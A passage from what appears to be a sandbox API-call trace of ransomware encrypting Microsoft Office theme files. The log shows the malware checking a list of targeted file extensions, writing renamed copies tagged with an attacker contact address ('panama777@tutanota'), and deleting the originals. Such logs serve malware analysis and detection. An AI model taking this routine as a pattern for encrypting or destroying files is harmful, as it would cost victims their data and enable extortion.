	[0257.621] WriteFile (in: hFile=0x340, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.621] SetEndOfFile (hFile=0x340) returned 1
	[0257.621] CloseHandle (hObject=0x340) returned 1
	[0257.621] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.621] SetEndOfFile (hFile=0x220) returned 1
	[0257.627] CloseHandle (hObject=0x220) returned 1
	[0257.627] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.699] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 1
	[0257.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79
	[0257.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79
	[0257.700] lstrlenW (lpString=".doc") returned 4
	[0257.700] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.700] lstrlenW (lpString=".docx") returned 5
	[0257.700] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.700] lstrlenW (lpString=".pdf") returned 4
	[0257.700] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.700] lstrlenW (lpString=".xls") returned 4
	[0257.700] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.700] lstrlenW (lpString=".xlsx") returned 5
	[0257.700] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.700] lstrlenW (lpString=".ppt") returned 4
	[0257.700] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79
	[0257.700] lstrlenW (lpString=".zip") returned 4
	[0257.700] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.700] lstrlenW (lpString=".rar") returned 4
	[0257.700] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.700] lstrlenW (lpString=".bz2") returned 4
	[0257.700] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.700] lstrlenW (lpString=".7z") returned 3
	[0257.700] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79
	[0257.700] lstrlenW (lpString=".dbf") returned 4
	[0257.700] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79
	[0257.700] lstrlenW (lpString=".1cd") returned 4
	[0257.700] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79
	[0257.700] lstrlenW (lpString=".jpg") returned 4
	[0257.700] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79
	[0257.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79
	[0257.701] lstrlenW (lpString=".doc") returned 4
	[0257.701] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.701] lstrlenW (lpString=".docx") returned 5
	[0257.701] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.701] lstrlenW (lpString=".pdf") returned 4
	[0257.701] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.701] lstrlenW (lpString=".xls") returned 4
	[0257.701] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.701] lstrlenW (lpString=".xlsx") returned 5
	[0257.701] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.701] lstrlenW (lpString=".ppt") returned 4
	[0257.701] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79
	[0257.701] lstrlenW (lpString=".zip") returned 4
	[0257.701] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.701] lstrlenW (lpString=".rar") returned 4
	[0257.701] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.701] lstrlenW (lpString=".bz2") returned 4
	[0257.701] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.701] lstrlenW (lpString=".7z") returned 3
	[0257.701] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79
	[0257.701] lstrlenW (lpString=".dbf") returned 4
	[0257.701] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79
	[0257.701] lstrlenW (lpString=".1cd") returned 4
	[0257.701] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx") returned 79
	[0257.701] lstrlenW (lpString=".jpg") returned 4
	[0257.701] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.702] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.702] lstrlenW (lpString="Metro.eftx") returned 10
	[0257.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0257.748] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=24117) returned 1
	[0257.748] CloseHandle (hObject=0x320) returned 1
	[0257.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 0x20
	[0257.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0257.781] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.781] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0257.781] GetLastError () returned 0x0
	[0257.781] ReadFile (in: hFile=0x328, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x5e35, lpOverlapped=0x0) returned 1
	[0257.783] WriteFile (in: hFile=0x33c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x5e40, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x5e40, lpOverlapped=0x0) returned 1
	[0257.784] ReadFile (in: hFile=0x328, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.784] WriteFile (in: hFile=0x33c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0257.785] SetEndOfFile (hFile=0x33c) returned 1
	[0257.785] CloseHandle (hObject=0x33c) returned 1
	[0257.785] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.785] SetEndOfFile (hFile=0x328) returned 1
	[0257.787] CloseHandle (hObject=0x328) returned 1
	[0257.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx")) returned 1
	[0257.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77
	[0257.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77
	[0257.788] lstrlenW (lpString=".doc") returned 4
	[0257.788] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.788] lstrlenW (lpString=".docx") returned 5
	[0257.788] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.788] lstrlenW (lpString=".pdf") returned 4
	[0257.788] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.788] lstrlenW (lpString=".xls") returned 4
	[0257.788] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.788] lstrlenW (lpString=".xlsx") returned 5
	[0257.788] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.788] lstrlenW (lpString=".ppt") returned 4
	[0257.788] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77
	[0257.788] lstrlenW (lpString=".zip") returned 4
	[0257.788] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.788] lstrlenW (lpString=".rar") returned 4
	[0257.788] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.788] lstrlenW (lpString=".bz2") returned 4
	[0257.788] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.788] lstrlenW (lpString=".7z") returned 3
	[0257.788] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77
	[0257.788] lstrlenW (lpString=".dbf") returned 4
	[0257.788] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77
	[0257.788] lstrlenW (lpString=".1cd") returned 4
	[0257.788] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77
	[0257.789] lstrlenW (lpString=".jpg") returned 4
	[0257.789] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77
	[0257.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77
	[0257.789] lstrlenW (lpString=".doc") returned 4
	[0257.789] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.789] lstrlenW (lpString=".docx") returned 5
	[0257.789] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.789] lstrlenW (lpString=".pdf") returned 4
	[0257.789] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.789] lstrlenW (lpString=".xls") returned 4
	[0257.789] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.789] lstrlenW (lpString=".xlsx") returned 5
	[0257.789] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.789] lstrlenW (lpString=".ppt") returned 4
	[0257.789] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77
	[0257.789] lstrlenW (lpString=".zip") returned 4
	[0257.789] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.789] lstrlenW (lpString=".rar") returned 4
	[0257.789] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.789] lstrlenW (lpString=".bz2") returned 4
	[0257.789] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.789] lstrlenW (lpString=".7z") returned 3
	[0257.789] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77
	[0257.789] lstrlenW (lpString=".dbf") returned 4
	[0257.789] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77
	[0257.789] lstrlenW (lpString=".1cd") returned 4
	[0257.789] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77
	[0257.790] lstrlenW (lpString=".jpg") returned 4
	[0257.790] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.790] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.790] lstrlenW (lpString="Newsprint.eftx") returned 14
	[0257.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0257.791] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=582401) returned 1
	[0257.791] CloseHandle (hObject=0x328) returned 1
	[0257.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 0x20
	[0257.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0257.791] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.791] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0257.792] GetLastError () returned 0x0
	[0257.792] ReadFile (in: hFile=0x328, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x8e301, lpOverlapped=0x0) returned 1
	[0257.806] WriteFile (in: hFile=0x33c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x8e310, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x8e310, lpOverlapped=0x0) returned 1
	[0258.080] ReadFile (in: hFile=0x328, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.081] WriteFile (in: hFile=0x33c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0258.081] SetEndOfFile (hFile=0x33c) returned 1
	[0258.081] CloseHandle (hObject=0x33c) returned 1
	[0258.081] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.081] SetEndOfFile (hFile=0x328) returned 1
	[0258.094] CloseHandle (hObject=0x328) returned 1
	[0258.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0258.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx")) returned 1
	[0258.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81
	[0258.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81
	[0258.095] lstrlenW (lpString=".doc") returned 4
	[0258.095] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.095] lstrlenW (lpString=".docx") returned 5
	[0258.095] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.095] lstrlenW (lpString=".pdf") returned 4
	[0258.095] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.095] lstrlenW (lpString=".xls") returned 4
	[0258.095] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.095] lstrlenW (lpString=".xlsx") returned 5
	[0258.095] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.095] lstrlenW (lpString=".ppt") returned 4
	[0258.095] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81
	[0258.095] lstrlenW (lpString=".zip") returned 4
	[0258.095] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.095] lstrlenW (lpString=".rar") returned 4
	[0258.095] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.096] lstrlenW (lpString=".bz2") returned 4
	[0258.096] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.096] lstrlenW (lpString=".7z") returned 3
	[0258.096] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81
	[0258.096] lstrlenW (lpString=".dbf") returned 4
	[0258.096] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81
	[0258.096] lstrlenW (lpString=".1cd") returned 4
	[0258.096] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81
	[0258.096] lstrlenW (lpString=".jpg") returned 4
	[0258.096] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81
	[0258.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81
	[0258.096] lstrlenW (lpString=".doc") returned 4
	[0258.096] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0258.096] lstrlenW (lpString=".docx") returned 5
	[0258.096] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0258.096] lstrlenW (lpString=".pdf") returned 4
	[0258.096] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0258.096] lstrlenW (lpString=".xls") returned 4
	[0258.096] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0258.096] lstrlenW (lpString=".xlsx") returned 5
	[0258.096] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0258.096] lstrlenW (lpString=".ppt") returned 4
	[0258.096] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0258.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81
	[0258.096] lstrlenW (lpString=".zip") returned 4
	[0258.096] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0258.096] lstrlenW (lpString=".rar") returned 4
	[0258.097] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0258.097] lstrlenW (lpString=".bz2") returned 4
	[0258.097] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0258.097] lstrlenW (lpString=".7z") returned 3
	[0258.097] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0258.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81
	[0258.097] lstrlenW (lpString=".dbf") returned 4
	[0258.097] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0258.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81
	[0258.097] lstrlenW (lpString=".1cd") returned 4
	[0258.097] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0258.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx") returned 81
	[0258.097] lstrlenW (lpString=".jpg") returned 4
	[0258.097] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0258.097] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0258.097] lstrlenW (lpString="Slipstream.eftx") returned 15
	[0258.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0258.161] GetFileSizeEx (in: hFile=0x270, lpFileSize=0x338ff1c | out: lpFileSize=0x338ff1c*=27789) returned 1
	[0258.161] CloseHandle (hObject=0x270) returned 1
	[0258.161] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx")) returned 0x20
	[0258.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0258.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0258.401] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.401] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec8 | out: lpNewFilePointer=0x0) returned 1
	[0258.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Slipstream.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\slipstream.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0258.402] GetLastError () returned 0x0
	[0258.402] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x6c8d, lpOverlapped=0x0) returned 1
	[0258.428] WriteFile (in: hFile=0x35c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x6c90, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0x6c90, lpOverlapped=0x0) returned 1
	[0258.429] ReadFile (in: hFile=0x334, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x338fed4*=0x0, lpOverlapped=0x0) returned 1
	[0258.429] WriteFile (in: hFile=0x35c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x338fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x338fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0258.429] SetEndOfFile (hFile=0x35c) returned 1
	[0258.429] CloseHandle (hObject=0x35c) returned 1
